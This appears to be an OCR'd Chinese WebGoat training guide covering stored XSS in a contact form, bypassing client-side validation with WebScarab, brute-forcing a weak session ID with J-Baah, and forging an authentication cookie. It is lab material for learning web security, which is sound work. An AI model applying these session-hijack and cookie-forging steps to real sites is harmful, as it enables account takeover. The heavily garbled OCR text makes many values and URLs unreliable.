Google Mail Configuration (Optional)

These configurations will enable WebGoat to send email on your behalf using your gmail
account. Leave them as the default value to use WebGoat's simulated mail.

GMail login id: GMail id

GMail password: ssssnnne

Send OWASP your Comments

Contact Us Contact Information:
We value your comments, To send OWASE your OWASP

guesticns or comments regarding the WebGoat tocl, 9175 Guilford Rd
please enter your comments below. The information  Suite 300

vou provide will be handled according to our Brivacy Columbia, MD. 21046
Policy.

Subject: Comment for WebGoat
Questions or Comments:

2.16.3.4 #{EF’%E (Solutions)

I — B A Wk AR AR B BB AE B N <script>alert ("XSS”) {/script>, KiZHE
1, SEIEE L AR B .
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Solution VideosThis form I1s an example ot a customer support page. Restart this Lesson
Using the form below try to:

1) Send a malicious script to the website admin.

2) Send a malicious script to a 'friend’ from OWASP.

* The attack worked! Now try to attack another person than the admin.

=]
Google Mail Configuration (Optional) FEMREE @

These configurations will enable WebGoat to send email on youn

gmail account. Leave them as the default value to use WebGoat, l\ w5
GMail login id: GMail id
GMail password: [TITTTITT]

Send OWASFP your Comments

Contact Us Contact Information:
We value your comments. To send OWASP yvour gquestions OWASP

or comments regarding the WebGoat tool, please enter 9175 Guilford Rd
your comments below. The information you provide will be Suite 300

handled according to ocur Privacy Policy. Columbia, MD. 21046
Subject: Comment for WebGoat

[hidden field name
Questions or Comments: ="te"]: -
webgoat.admin@owasp.ol

<scriptralert ("¥X353")</script> -

o BRI P T RS FE A SO A RS, AN (bill. gates@microsoft. com) KikHE
MRAE . W A] LIS WebScarab & SO M ) 7 B o

Send OWASP your Comments

Contact Us Contact Information:
We value your comments. To send OWASP your questions OWASP

or comments regarding the WebGoat tool, please enter 8175 Guilford Rd
your comments below. The information you provide will be Suite 300

handled according to our Privacy Folicy. Columbia, MD. 21046
Subject: Comment for WebGoat

[hidden field name

Questions or Comments: ='_'tD"'|: :
bill.gates@microsoft.com

<scriptralert ("X5353")</script> -
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o Edit Request

Intercept requests ;

Intercept responses : ||

rParsed | Raw |

Method URL

|POST | |http:IIIDcaIhDst.:8D8D.lWebGuatfaﬂack‘?Screen=T3&menu=1EDD

Header Walue
Accept limagefjpeq, applicationf-ms-application, image/gif, applicationfzamli+xml, imageipjpen, applicationf-ms-kbap, . ||=
Refarer |http:.f.fh:n:aIh0St.:BD8DJWBbGnatl'attack?Screen:?B&menu:1EDD |
Iir;PnT-I an [rh-CH

URLEncoded |’Text | Hex |

Wariable Walue
gld GMail id
gFass password
subject Cornment far Web Goat
to ill.ate s @microsoft.cor
msd =zoript=aled{"<38" =z cript=
SUBMIT Send!

Solution VideosThis form is an example of a customer support page.

Restart this Lesson

Using the form below try to:
1) Send a malicious script to the website admin.
2) Send a malicious script to a 'friend’ from OWASP.

* Congratulations. You have successfully completed this lesson.

Google Mail Configuration (Optional)

These configurationz will enable WebGoat to send email on your
gmail account. Leave them as the default value to use WebGoat

GMail login id:

GMail password:

GMail id

EERTIEE

L X585

Send OWASP your Comments

Contact Us

We value your comments. To send OWASFP your questions
or comments regarding the WebGoat taol, please enter
your comments below. The information yvou provide will be
handled according to our Privacy Policy.

Subject: Comment for WebGoat

Questions or Comments:

<zcriptralert ("X55")</2cript>

[ B

Contact Information:

OWASP

9175 Guilford Rd
Suite 300

Columbia, MD. 21046

[hidden field name
="to"]:

webgoat admin@owasp.ol
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2.16.4 5534 & R JavaScript 8236 (Bypass Client Side

JavaScript Validation)

2.16.4.1 FAREAKEF (Concept / Topic To Teach)

7 S B E A NAZ AN — P 2 e A IAIES B XM IR UET5 30 R BE AR L8 AR
v 5 N (0 P 26 Rl 55 2 AL BRI (8] o 0y 2 R LR85 iR 2 I SR IRl o AR 25
7 S 6 U S 2% 52 IR 55 A i o JRCRE KR AN 22 4 1R 2 ML L A P PP A (0 Rl REE
FERXANER A, BN AKET A AR R ZR, B R0 S 5 b L A R X
SER, FAA SRR A AT o

2.16.4.2 FAK[EIE (How It works)

AR 22 300 W 2 4 Bh T B SRR B 20 HTML 8K JavaScript A 6Y , t1 57 £F FEh#E28 HTTP £id .

2.16.4.3 S{xH#r (General Goals)

TEXAG I, B ME R G AR RSN ER, BB 52 Seit & 7 it S e H L B
LR, S A FCF SN 1

Solution Videos Restart this Lesson

This website performs both client and server side validation, For this exerciss, your job is to break
the client side validation and send the website input that it wasn't expecting. You must break all
7 validators at the same time.

Fieldl: exactly three lowercase charac:ters("‘[a z]{3}%)
ahc

-

Field2: exactly three digits(~[0- 9]{3}$)
123

=

Field3: letters, numbers, and space only(~[a-zA-Z0-5 ]*3)
abc 123 ABC -

Field4: enumeration of numbers ( (one|two|three|four|five|six|seven|eight|nine)s)
SEVEN

-

Fields: simple zip code (“\d{5}$)
90z10

=

Field6: zip with optional dash Four (~Nad{53(-\d{4})?4)
Q101111 -

Field7: US phone number with or without dashes (" [2-9]\d{2}-Pd{3}-"\d{4}35)
301 -E04-4852

Submit

-
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2.16.4.4 #{EF%E (Solutions)

2.16.4.4.1 J53E—

B PEAS— IR B, FH%H WebScarab ££3.

—
£t Request CEE|
Parsed | Haw
Mothod 1L Aersion
FOST | [ipiinea SiMebGoatatackImanu=110 TR o
Header e - - e e - - - {
imagelgh imegete-sbitmes, imageipeg, imsgelviveg, applicetors shoskwave-fash, soplisalionimd ms-. | =1
hiip drearaBGoabanatk LT retdAmenu=] 10 sert
stonimww femeuriangaded L
URLERCOsed | Test | Hex
Variable T Valug 1
field 1 Jabe
o2 JEE}
fleld3 abe 123 ABC
fisla savan
(T} [TFT]
il lanz10-1111
letd] 10160428
insert
Dt
Accopt changes | Cancelchanges | Abon request Cancol ALL inteecopts
AT B R EE 2 R
SN BON I 5 )
23 E&%’ | SO APAVA ’ N DL N I_l] o
—
Edit liequest CER
2
Porsen | Raw |
Muthod L erson
F03T | Irapines AeESomatackimanus1 10 HTTRA 4
Hoador alae
Zcsept magaNueg, mgHplptg, apphalont- shockwars-Sash, soplcabondmd ma- || 4
ol menu=110 =
nccopt Languags [pM———
ContankType ] Do,
URLERCOdod | Ted e
Variabla I al
heiat
s}
feis3
e
(I
fivds
s
Dasetn

| "‘“"“_“';‘_| Cancel changes | Ao request Cancal ALL Edarcapts.

i "Accept changes"$& A £, I AT IREE
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Google Grv meductus % Goo g [ v | 07 Bockmarksr Bhorbloked | 5 Chock v 'y, Autitiek + [ send ey 4[5, medochare [, dotnetraie 1D settegr
Ellvten o cpne - Af % ad

WG| owtn Bynass Clent Sds JavaSariot Valdation

[ . -
- Server side validation violation: You succeeded for Fieldl,
[P pre— Server side v
L] alidation violation: You succeeded for Field2,
Py Server skde validation violat

o 1 Bopgans Citam Gite kami You succeeded for Miekd,
] Server side validation vialation: You succee

ded for Field4,

Server skde validation violation: You succeeded for Flelds. s

BRzServer side validation viclation: You succeeded for Fleldi.

Server side v
alidation violation: You succeeded for Freld?,
- fau have

this lesson

Fanldy: mxactly theam kowarcasn charac
anaied (A4

(lwal{38)

Fiald: axnctly thess digite (~[0-91{3}8)
12304000410

Fieldd; betters, numbers, and space only (*[a-2A-20-9 1*8)
[T

Fieldd: of numbers hel
seven@dBidec

FeeldiS: simpie zip code (“\{5}8)
BOTLOBNRCENG

Fogids: zip with optioral dash four (“\@(S1{- V3411741
SO0Z10-1121088{88{

Fotld7: US phone number with or witheut dashes (~[2-9]\d{2}-M(3)-1\d{4}$)
01-604-400ZBRA{AH

[ N noc itranat s =

2.16.4.4.2 F3E=

R IUM “How to bypass Client-Side Javascript Validation” , Jf)5 F WebScarab
AR 55 S ) 7 547

SET | [tpones BlMebdoatstack Brimens A 3AmeTu=1 10 1

Huader

mea

niiws M1 81, NET CL3

1 EAEAS AN AT

Posmon_| 0/ 1120 2[4 5Tal7lnlelalnlcloialr S¥ing

| I L Cancal ALL intezeapts
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et regquests : ¥ b cep esponses : (]

Parend | R |
Mothod UHL Wersion
BT & TR
L, Hesdar i A . Valug IR PO ) e o b (
ML
Hoadar Valug
Apache-Covolen |
Te-tache
ReLacne | ot |
Thas, 01 Jan 1870 01 8800 CET
1R Chae T A 0. FR S L.}
£hunksd
Wied 17 Jan 3007 1550 12 OMT
MIML | XML | Text | dhex |
*titand cois=T name=Teldh ows=1+0021 0111 T <untartar -
et <pr-<dive
Finid? LS phone rmber wi or without dasres (380007 Ml 3 Sl ed)
eihes it
bt cole="T5 rame=TeldT rowe="1 J01-604-4D02-Rurlarea~
Mdnew = -
o sidis
«div Id="cradite"s
utis alig: widths 00%" Basdar’ ]
o =
‘]7;_—"—‘_’_ —————— B

| Accoptchangus | concel changos | svort roquest | | cancal 811 esorconts

W F£ % onclick="validate();", -4 Submit %414 ik TAE, Rt Esr 3] validate() Bk %L,

Edit Respanse -
w 1l

| Parad | Row |
Method UL

GET

- Hipadot

A
-
| Parsed | Raw |
Version  Status Message
HTTRIY | 200 OK
Header | Valug

B [Agache-Covatad! 1
Fragma |No-tache |
[Cache Control [no-cachy o insen |
Expires |Thu, 01 Jan 1870 01.00.00 CET Dk |
Content Type fanimlcharset=|50-0638-1
Transfus Encoding Iehunboed
Oite Iied, 17 Jan 2007 155312 GMIT
LI I EH

nction vakdator) |

£ps B———

1, mag i
it = 0) alérigmisg); A
el form submitg;
‘ ]
|mm|mw|muml|muw,

IR0 T SO AR B 748 73 ) AR RV AT # [ JavaScript 16 DI RE «
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GET  hitpineo: 10 HTTRLL
| Vil

Hiador L SRS

it

T N R TR TR T — |

Header =1 o Valug

e
[No-eache
|no-cachs

[¥¥ed, 17 Jan 2007 15:53.12 GWT

rogonl=rMa- 2 38,

v a0 Gl 380,

reged={a-2A-20-0 "5,
roggived={anebwaltharo|fourm|= e smen| g 8
epaxs M 518,

reqeb=r (S -4 R E,

| Accestcnanges | cancel chaiges I Avori request | | Cancel ALL intercapts

i “Accept changes” F%4H, T3 YE HFRU R HTML SO A A IE IR IR ThEE .

(€5

‘_-ﬂ(ﬁ;c Grv medachars | Go o 7 §R v | 07 Bockmarks B 51 bocked | 'GP Check v Sutolivk v  Sendtor ) [E], modachase [ dotnetrke 1) Settiozsr
[ romest cF omons QAW % =

G| 8 Howto Byposs Chork Side LavaSerioh Voldalion

.
v weon

Admin Functions Restart this Lesson
Ganeral
Coda O

This webisste perfarms both chent and server side validation. For this exercse, your job is ba
break the chient sde validatson and send the websie input that it wasn't expecting, You must
break all 7 validators at the same time.

Finld1: mxmetly thrae lowarcaen charnetare {*[a-2]{3}§)
abe |

Field2: exactly three digits (~[0-8]{2}3)

123 |

Finld3: lnttars, numbers, and space ondy (~{a-20-20-9 ]°§)
abc 133 ABC |

Figld4: of numbers
seven

Finlds: senple sp code (~d{5}§)

90210 |

Fields: o with optonal dash four ({5} \d{41)78)
90210-1111 |

Figld?: US phone number with ar without dashes (~[2-9]\d{2}-"\d{3}-"\d{4}8)
30i-604-4882 |

(Subma)

Do N Localtranct 00w -

BOE A7 B, A AR R . AR5 FRAL
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How to Dypass Client $1de JavaScript Yalldation - Windews Internet Explorer

G.ﬂ = | hutpcirmafwebon sk Sorerme Stemera= 110

Googhe |\Glr medachs v 6o o G B v TF Boskmarksr BRI boked TP Ched v % Bk
T et QF G & d

B o bo Bypass Chent Side JavaSeriot Valdation

o oo

Hestart this Lesson

ol | #e || 2 Padid

- | Sendbaw ) [H] mediachane [H] dotretrade

& wabsibe prrforms bol walidaticn, Far this sxercies, your b = to
break he cI!N side validation a websat: input that it wasn't expecting. You must
[ idators al the same time,

clinet and parver wdn
the

Field1: exsctly theoe lowercase characters (*[a-2]{3}$)
apciigge

Fieldi: axactly three digits (~[0-91{3}8)
1239488

Field3: letters, numbers, and space anly (*[a-z4-20-9 ]*3$)
abe 123 ABCHERGE

Firlda: of rumbers [ )
aeven@IEEN

Fimled: g
s0z108¢88¢

2ip code [M{S}E)

Fialdi: 3ip with apticnal dash four (~\d{E}(-\d{4})7s)
90210-1111040804

Field7: US phone number with or without dashes (~[2-91\d{2)-"\d{3}-"\d{2)$)
301-604-485288 884

Sulbmaet

8 Local itranct H100% =

i 55 S i (o) B SR AT R, SE A TR AR o

How to Bypass Client Side JavaScript Validation - Windows Internet Explo

@_\:_} [l httpisineowebsoatiatiackimenu=110 wl|[#2] [x] [soeqe [[2]-
Google [Glv mediachas |60 ¢ 53 B] + | 9 Bookmarksw &) 81biocked "7 Check » & Autolink v | Auicril (e Sendtow 4 [B] mediachase [E] dotnetnuke () settings~
[E2) Flashet " Options QM B B A
o [&How to Bypass Client Side JavaScript Yalidation ] } i - Bage ~ ) Tools ~
Logout @ ~
How to Bypass Client Side JavaScript Validation
OWASP WebGoat V4 w
Admin Functions Restart this Lesson
Genera
Code Quality. This website performs both dlient and server side validation. For this exercise, your job is to
Unvalidated Parameters break the client side validation and send the website input that it wasn't expecting. You must
- break all 7 validators at the same time.
How to Exploit Hidden
Fisids .
™ Server side validation viclation: You succeeded for Field1.
How to Exploit Unchecles Server side v
Emai alidation violation: You succeeded for Field2.
Server side validation violat
[ ion: You succeeded for Fields.
T Server side validation violation: You succee
JavaScript Validation
Javaseript vacation Server side vz
Broken Access Control Server side validalinn violation: You succeeded for Field5.< ||
Broken Authentication and BR>Server side validation violation: You succeeded for Field6.
Session Management Server side v
Cross-Site Scripting (XSS) alidation violation: You succeeded for Field7
Buffer Overflows * Congr ions. You have this lesson
Injection Flaws
Improper Error Handling Field1: exactly three lowercase characters (~[a-2]{3}$)
Insecure Storage | ‘
Denial of Service abckrées
Insecure Configuration
Manegement Field2: exactly three digits (*[0-8]{3}$)
Challenge [123eteet
Field3: letters, numbers, and space only (~[a-zA-Z0-9 1*§)
[abe 123 mBcesees |
o)
Done

& Localintranet
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2.17 SEEIEEPHE (Session Management Flaws)
2.17.11EE¥FE (Hijack a Session)

2.17.1.1 $HAREZRLEM (Concept / Topic To Teach)

TERN GAETT RABATHI B 23 1D N2 H S0 B SRR 2 EMBENLIE, XLER X%
ARYGE LA TR B2 251l 1D AN BRI AR, AN HREFIRE 5%
BT 2 U A B 2 iR B o

2.17.1.2 FAKRIEIE (How It works)

231l 1D — B Session A%, 7AETE% P i Cookie fHEANF B

2.17.1.3 2{xH#r (General Goals)

AW B brse 23805 i — DN HADH P RSl GZeiE 8l RS 2INE) « A2
TN WEAKID [1%501E . WEAKID F T [X 5l] WebGoat HANEFH P (it iE a4 1)) .

Solution VideosApplication developers who develop their own session Restart this Lesson
ID= frequently forget to incorporate the complexity

and randomness necessary for security. If the user specific session 1D is not complex and

random, then the application is highly susceptible to session-based brute force attacks.

General Goal(s):
Try to access an authenticated session belonging to someone else.
Sign In

[hidden field name ="WEAKID"]:
19114-1318219347257

Please sign in to your account.
*Required Fields

*User Name:

*Password:

Login
[

By Rogan Dawes ofﬂ.SFE{:T)

Appiication Security Speciolises

OWASP Foundation | Project WebGoat | Report Bug
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2.17.1.4 ¥{E5% (Solutions)

SERIX IR 7S 5 B 7 158 {3 F WebScarab Bl Session ID Analysis).i# A\ WebScarab,
il [Session ID Analysis) , GNREEAZR], NTE WebScarab T H3EH [Tool] ik

F 4 ThEefE s (full-featured mode) , #RJ5E 2 WebScarab BfnJ,

B#NTE 4 [SessionID Analysis]) &I+, f#H [Previous Requests) FHiEH
BT B7E B LS 200 OK [ GET i 3K . Hithhik L webgoat/attack 453K, AN EL Java

e

W

M) ]

File Wiew Tools Help

Extensions | XSSICALF | SessioniD Analysis | Scripted | Froge | Fuzzer | Compare | Search |
‘ Summary 1 Messages I Proxy | Elanual Request | WebServices Spider
Collection | Analysis | Visualisation |
Previous Requests : -
From [45 . GET nitpeilocalhost.:B080iwebgoatimag jcookiesOverjpg 304 Not Modified -]
mm hapreinn s Sl shac e st onatam Cver jpg 304 Mot Modified
Fm|_[nﬂ-ﬁﬂumlmmmmnmh 200 OK
Request L3 s 1o e 8 AR p e O R TR L e 8 O
——— ——— 148 - GET hitp 9 Sessoncss 304 Not Modified
Parsed | Raw |20 cernupitocainost: menucss 304 Not Modiied =1
Method URL 151 . GET nitpe/iocalhost :B0a0wehgoaticssAayers.css 304 Not Moditied L
I [ [152 - GET hitpc'localhost.:B080webgoatjavascriptjavascriptjs 304 Not Modified -
_ Header | Vaue | | nsert
iw | Delete
Response

|mslnn Stalus Message

Test | Somples| 0| Fetch |

BNk, BFEEMIN WebScarab REW sk WEAKID cookie. M TH TFHT [Test] %

B, R E 5 R A D PR OR 7 WEAKID.
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L& WebScarab =] x|
Ele View Tools Help

Extensions | XSSICRLF | SessioniD Analysis | Scripted | Frag | Fuzzer | Compare | Search |
| Surnmary | Messages [ Poxy | Manual Request I WebServices [ Spidar
| Collection | Analysis | Visualisation |
Previous Requests : (147 - GET hitp:iiocaihost 8080/ webgoatintiack 200 OK

ACcepEncoding. gaip, oenale T

Accept-Charset 1IS0-8850-1,ut-8,q=0.7 "q=0.7 1
Prony-Connediion. keep-alive

%] []

I

-

Referar: hilp Mocalhost B030webgoalialitag=s
Cookie: FSESSIONID=0338121805E01DEY BXirached
Buthorization: Bagic ZIVIC306ZIVIEA0=

@ localhost.wibgoat WEAKID = 16916131247 2380703

L 4 I | |I
Response E = .
[ Parsed | Raw | ‘
Version  Stetus Message

HITRAA 200 OK

Heager |  Value |

| st e G )

- G2

e || et | e |

[ Jomon B |
e R

W N RE R BE 208 1D, XERE SR — WEAKID [ AER . X &
1E AR S5 e v PN 253 HTTP W Bk “Set—Cookie” J9% Ui ¥ B Cookieo N T XA
B, MR Cookie ¥ WEAKID=value; &4y, RJ5FXi% [Test]) .

AR TG 5 LA 3K — R Y1 WEAKTD. fEREARFEEH [Samples] WA “50” , RJ5 iy

[Fetch) #&4H. V)#:%] [Analysis) i&Ti+. M [Session Identifier] FHisgrarhikd
WEAKID. 1% <> 3t WEAKID FME

WEAK 5 73 BR T PEAN 50 I 5 AT I 55— 3070 /R B4 Cookie DL 1 AR IESE N 25—
B3 A T SRR AT I T 5 H R I TR

R, AR WEAKID IS8 —#B & a 200, . Hip— A EEpiad 7. IAERI
AR BATEE SN (DA MEFZ 1D E53, WATEHFFE) o« BRATRFEA
0 € SESSTONTD A5 il FJ s 8] 74 o

B EFH AW [Differencel FIFINE, RE GBI FHERIEIE. JLTEIER
BB R R — P . RBNFRATFT B EE, SEil.
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i/ Webscarab =<
file Miew Tools Holp
Extensions | XSSCRLF | SessionlD ] | Froy | Fuzzer | Compare | Search |
| ¥ [ Messap [ Py | WebServices | Spider

L]

Value
20110804 11:40:37 16047-1312472437515 E109|*|
20130804 114037 16048-1312472437625 E110)
20110804 11:40.37 16040-1312472437734 £109
207110514 11 4037 16050-1312472437843 £109
2011108104 11:40.37 18851-1312472437853 £110)
20110804 114035 [18852.1312472438062 £109)
20170804 11:40.38 16953-1312472438171 B109)
f20110Em4 11:4038 16954-1312472438281 E110)
20110804 11:40:38 16055-13124724383090 103
iz01 108 16856-1312472438500 £110)
201106104 11:40.39 _|16857-1312472438509 £109
6110804 114038 16058-1312472438718 s108] |
(2011084 11:40.38 (16899131247 2438828 &110] |
20110804 11:40.38 16960-1312472438837 6109
lizo170am4 11:40:39 16951-1312472439045 £100|
20170804 11:40:33 16952-1312472439155 si10f |
_____ 16983-1312472439265 g103] |
4033 16084 13102 o0303TE £140]

0504 11:40:38 16066-13124T 2430484

f<HTINENS VT.AU.3Y IR R e ED
f201108M04 11:40:39 16868-1312472439703

|| Mirsimeimn -
| Maxirmm :
Range ;

RN R EEE, FATEILLL 16955 JF4R ) WEAKID £k 1, XAUR AR, A

i EEA R AN A E 2 Y
16964-1312472439375
16966-1312472439484

PATRAL 2 058 05 SCTE B R AR o« B PR AORAE AT T RERAOTR R, EL BB % [R)

. B FERME, X4 Sessionld /T LA N —F 2[4

16964-1312472439375

16966-1312472439484

FTLA timestamp 5N AT 1312472439375 F1 1312472439484, BIERAIFE DT H
Se IR . AT J-Baah (http://www. sensepost. com/labs/tools/pentest/j-baa

h) , ZLTAE&F-PA Crowbar A4, FHEIIEAT. jar 1.

WATFERE J-Baah £ FIANE ) WEAKID H 8 K i%iE K. # UM Collection 1T
R B B SR AE B cookie FRRAA HTTP i3k . #4 € kil %] J-Baah HIiERAET .

WEAKID 8 7% ZE NG R, 1% B LA E K11 16965 FF3k o HB-2 W fa] S5 9 1 356 70 W ?

FEAG) T, BRATEAE 775 5 WEAKID=16965-1312472439## 1 ##775 I 21 K H 5L 19
Cookie Z¥. ##1##KHE A TEE N timestamp I [ 745 5 F 4.

BTk, BATHEEXATEE. 78 [Paramter 1) &R BHE, M 375 FFHEF)

484 45,
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File  Halp
[ Request | Response | 3| Parameter1 | Parameter 2
[GET hitp: Mocaihost 'amﬂmanqnah'amamSueen=21ﬂﬁmenu=1atlm-l‘! Inner Loog
ost localhast 8080 "
ser-Agent Mozillais 0 (Windows NT 5.1; n5.0) Geckai20100101 Firald =
pt teadhiml applicationtchimi+xmi applicaboniomig=0.9 *"*q=0 & From: | ars
epl-Language: en-us.enq=05 1 | Bdl
ept-Encoging gzip, defiate % =
ept-Charset [90-B859-1, utl-§,g=0.7 "q=07 7 File
rooy-COnnBcion: kesp-alve
eferer: hitpilocalhost 8080webgoatattack? Screen=2198menu=180( File:
[Cookie: WEAKID=18965-13124724304 2188, JSESSIONID=833812180
horzdE8T BaEE LS
M I = ] i 'l Browse
SCORE : PARAMETER 1 : PARAMETER 2 : CONTENT | Actions | Target | FurzyLogic | Content Extraction |
Base Response Threads: | e
- Start .
Stop 1
Pause |
STOPPED... Tested #0 of 0
J-Baah &

e, F2EA T [Target) &I, WE Host fl Port 4354 WebGoat [ HLthEFN
B, 80 B 8080 (HLISHISKEREEIFI) .

8] [Action]) &I+, faidy [Base Responsel . &I LLEZAE R M — MM D)
3 2 o B2l Threads I 2, sidil Start PFAA . 22 T M 7uis & AL & “Hi jack a session”
FOMEPSNE
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|/ SensePost J-Baah B =X
File Help
‘Request | Response | i Parameter1 | Parameter 2 |

(GET hitp Mocaihost 3080iwebgoalialiack?5creen=218&menu=1800 H]| ‘| Inner Loop
Host localhast :B080 £
Lisgr-sgent Mozillas. 0 (Windows NT 5.1; nm5.0) Gecka20100101 Firald e =
WAccept texdhimil, applicationfchimi«=xmil applicationtomi:g=0 9.**q=0 & From: | ars
Aocepl-Language: en-us eng=05
laccept-Encoding: gip, deflate L 484
iocept-Charset E30-B650-1, ull-8:q=0.7."q=07 ) File

Promy-Conngdion: kegp-alive

Referer, hitpoilocalnest B080webgoatiattack? Screen=2198menu=180 File:
Coolde: WEAKID=16865-131247243042 188, JSESSIONID=833612180
Authorization: Basic Z3VIc306Z3VIcI0=
ol | I )
(OUUEY - 476 © © HijacK a Session Ta] | 1 i | son |
= | Actions | Tar Fuzzy L Content Extraction
0.99968 : 417 : : Hijack a Session : ot ] e L
D.08068 : 418 : : Hijack a Session | Base Response | Threads: 2
0.00069 : 420 : : Hijack a Session 1

0.00088 @ 419 @ : Hijack a Session
0995968 : 421 : : Hijack a Session
0.99969 : 422 : : Hijack a 5ession
0.59969 : 423 : : Hijack a Session
0.95569 : 424 : : Hijack a 5&5sion
0.99569 : 425 : : Hijack a Session
: Hijack a Session
: Hijack a Session

: : Hijack a Session
9849 : 420 : : Hijack a Session
: Hijack a Session
: Hijack a Session
: Hijack a Session
: Hijack a Session
: 434 : : Hijack a Session

BO54 - 435 : - Hilack a Session =
STOPPED... Tested #110 of 110

— B AR, MNZAE S R EoR .

TEBRNVLREIRN AT, B SR R PR L, s BRI B — 2l W
FIANE) 275 B BT AR, JE 0 TR . AL 16965-1312472439375 JF44, 3| 16965-1312472439484
S5, J-Baah WWEE T T MR 5 R, JRIEA FAME NS5 ER.

47T R SessionID WER AR IR, FFER T 5HAHCH HEELE L.

0.99969 : 417 : : Hijack a Session

Clicking base response =& T 2 — WEAKID, Ffi% & HW M A Control. H— 4%
{E2 7N 5 B2 17 SR B 5 85— B[R] RIARBARE . Rz AE 1, NIRRT X
ANEUES 1 2ZEEROR, T H i B P 25 22 B A oK !

0.99969 : 417 : : Hijack a Session

BN R T et 1 EUE.

0.99969 : 417 : : Hijack a Session

5 A2 VR S LT ) HTML AR, 76 iZ1 & “Hijack a Session”  GifsRAE R K AR
AR5 vt AR RS

L AR SR WAL 7 (AR B A 2 YR FRA TR INZ 9 WEAKTD f TAEAS L. dn SR —WIF], B4 %
Bl R =F. BREE LEHEE, FIRZAHLEN. 99969 KR, A 14~ 9949 [
LLEE, 2 TR AE. 99954 . IX B FHLLE — B AR FRAHE], ELFI L 429 45 1) WEAKDID I A e
X ARSI B IR Y AEEZm R N2, s [Show Responsel .
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— = =
- View Results =] %]
<gdiv id="training_wrap™> —
<div kl="training” class="inlo™=<3 held="hilp Frehg netlabmeliatrainingiwebgoat php™ tasget="_blar
=div ="resel class="infa">=a hrel="attack ?Screen=2 12Emenu=1800ARestari=2 18 >Resiari this |
e

<y

<div id="less0nArea">

=div id="Tess cnPians™ shie="vzibility hidden: height ipx posfionabaolube; le® 2800y, 1op; 130p wi
«pr-<p=Lesson Plan Tia: </h> How o Hijack a Sessian</ps=
ol
=p=<bi=Concept ! Toplc To Teach </h= <ip»
«f— Sarl Insiructicns —»
Applcation developers wha develop thelr own session |Ds frequently forget b Incorporate the complecty and randomness necessany for secunty. B e user specig
aprabeeGeneral Goalis) b= wps
Try Io access an authenticaled session belonging 1o someons slse
< Sipp Inslruclicns —»

<hef=
=hri>

<3 href="]avascriptioggleftessonPlans T target="_lop” ondick="MM_noGroup{down’ group 1, plans
=ldhe=

iy l="lesson Conlent

Application developars whio develop their own session IDs fraguenily forget fo incorporate ihe comg
«pacBrGineral Goalis) =be <ip=
WTry to Bccess an suthenticated session belonging lo someons else

=i
_... =iy kl="message” dass="Inlo"><BR> * Congratutations. You have successiully compleled Mis les)
=divig=TessanContent = =fanm actepl-charsel="UNKENOWH methad=POST name=Toim' achan="atlack"Scraen=2|
<div M="eradils"™
<iable aligneRIGHT celispaangsT widih=B0%" border=Tr celipaddings 0= <ir-<id vallgn="MIDDLE
<idne
wjdh
S [
<giv id="bolbom™ .-_
=iV align="cenler =<3 hral="nilpsvwiw. owasg. oy = OWASP Foundation<ia= | . |
— z L A & s S
71 . 5]

B IR, R R A DT A T R AR

2.17.27\IE Cookie Hidg (Spoof an Authentication Cookie)

2.17.2.1 FHAREEAHEM (Concept / Topic To Teach)

WIERLGHIE cookie 1EAf, —LLNHIEF RV MH S B ER BT MG R fe
5315 £ i cookie 1%L, A I cookie MIME /2 T LASERIHT . A cookie W] HE A& iE i 5 i
B k. XU, AT H B2 TS 5E cookie 773N, I S5 ) 50k
X FPH Uy I8IE cookie HITTVE

2.17.2.2 FAKRIEIE (How It works)

Cookie ffffE %/ o, T BB BB M FRe ol i
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2.17.2.3 Z{xH#r (General Goals)

ATRFER H b2 g A IEAL T
Solution Videos Restart this Lesson

The user should be able to bypass the authentication check. Login using the webgoat/webgoat

account to see what happens. You may also try aspect/aspect. When you understand the
authentication cookie, try chanaging your identity to alice.

Sign in
Please sign in to your account. See the OWASP admin if yvou do not have
an account.

*Required Fields
*User Name

*Password

ASPECT

! Application Security Experts

2.17.2.4 #{EF’% (Solutions)

THHfIATE WebGoat HHFFJE T “Show Cookies” BhfE . &7 BAE WebScarab 25 "Inject
know cookies into requests”, 5 WebScarab ¥<—EEIKEHIIHAT cookie, TMAZHT
& WebScarab

File View Tools Help

Summary rMessages rPruxy rManuaI Request rWehSEn.iices |’Spider rExtensiuns rﬁ
(Listeners r Manual Edit rBean Shell |[’Miscellaneuus |

Reveal hidden fields in HTML pages :
Prevent browser from caching content :
Inject known cookies into requests ||

Get cookies from responses

PA webgoat/webgoat &k
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Solution VideosHint: The server authenticates the user using a Restart this Lesson
cookie, if yvou send the right cookie.

JSESSIONID & 25CCC14DCECF777F4AF96873E1CS0ECTA
Login using the webgoat/webgoat account to see what happens. You may also try

aspect/aspect. When yvou understand the authentication cookie, try changing your identity to
alice.

* ¥Your identity has been remembered

Welcome, webgoat
You have been authenticated with PARAMETERS

Logout

Refresh

ASPECT

PP Securlty Specioll

OWASP Foundation | Project WebGoat | Report Bug

it “Refresh” , IX&hlET EREATH AuthCookie.

Solution VideosHint: The server authenticates the user using a Restart this Lesson
cookie, if you send the right cookie.

AuthCookie 5 65432ubphcfx
JSESSIONID 5 25CCC14DCECF777F4F96873E1CS0EC7A
Login using the webgoat/webgoat account to see what happens. You may also try

aspect/aspect. When yvou understand the authentication cookie, try chanaing your identity to
alice.

Welcome, webgoat
You have been authenticated with COOKIE

Logout

Refresh

ASPECT

I Securiry Speciall

OWASP Foundation | Project WebGoat | Report Bug

TERBAEAE FH B B B0AE & 1X ) cookie, MAEG LIS EEGIE. BE53)
“AuthCookie” cookie, {H A 65432ubphcfx. RJ/FIB &S, Ll “aspect\aspect” B3,
M “Refresh” , WoRHETH “AuthCookie” . IAELH —/NETHIME.
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Solution VideosHint: The server authenticates the user using a Restart this Lesson
cookie, if you send the right cookie.

AuthCookie 8 6543 2udfqgth

JSESSIONID & 25CCC14DCECFF77F4F96873E1CS0ECTA

Login using the webgoat/webgoat account to see what happens. You may also try
aspect/aspect. When you understand the authentication cookie, try changing vour identity to

alice.

Welcome, aspect

You hawve been authenticated with COOKIE

Logout

Refresh

\
X ANIECF RN . BN TR R P 2RIk, FR BN E R, W
T->U, A—>B. RILIIRCIF . “alice” B3, cookie ¥ &3~ “ecila” , KRG

MR E AL, RESRNY “fdjmb”

PLFI P44 alice B3¢, @it WebScarab #3kiERK . £ CLAFAER JSESSIONID J M s

“-AuthCookie=65432fdjmb”

2 Edit Request

Intercept requests : Intercept responses : ||

l/Parsed |/Raw |

Method URL Yersion
IPOST | [hitp:imeo 800 ebGoatiattack?menu=310 | [HTTRPH A |
Header Walue
Content-Type applicationi=wwan-form-urlencoded -~
LA-CPLU ELali
Accept-Encoding ozip, deflate -
ger-Agent mozillafd.0 fcompatible; MSIE 7.0 Windows Insert
